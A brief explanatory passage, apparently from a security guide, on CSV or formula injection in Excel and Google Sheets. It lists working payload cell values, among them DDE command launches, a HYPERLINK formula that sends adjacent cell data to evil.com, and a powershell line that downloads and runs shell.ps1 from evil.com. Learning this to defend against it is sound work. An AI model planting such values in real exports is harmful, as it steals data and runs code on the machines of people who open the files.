1 Formula Injection in Excel and Google Sheets
When web applications export user-supplied data to CSV files, spreadsheet software like Excel or Google Sheets may interpret cell values beginning with =, +, -, or @ as formulas. This is known as CSV/Formula injection or DDE injection.
Dangerous cell values:
=CMD|" /C calc"!A0
=HYPERLINK("http://evil.com/steal?data="&A1,"Click here")
+cmd|"/C powershell IEX(new-object net.webclient).downloadstring('http://evil.com/shell.ps1')"!A0
@SUM(1+1)*cmd|" /C calc"!A0When a user opens the exported CSV in Excel, the formula executes. Older Excel versions with DDE enabled can launch arbitrary system commands without user interaction.
Even in modern spreadsheets, =HYPERLINK() can exfiltrate data from adjacent cells when clicked.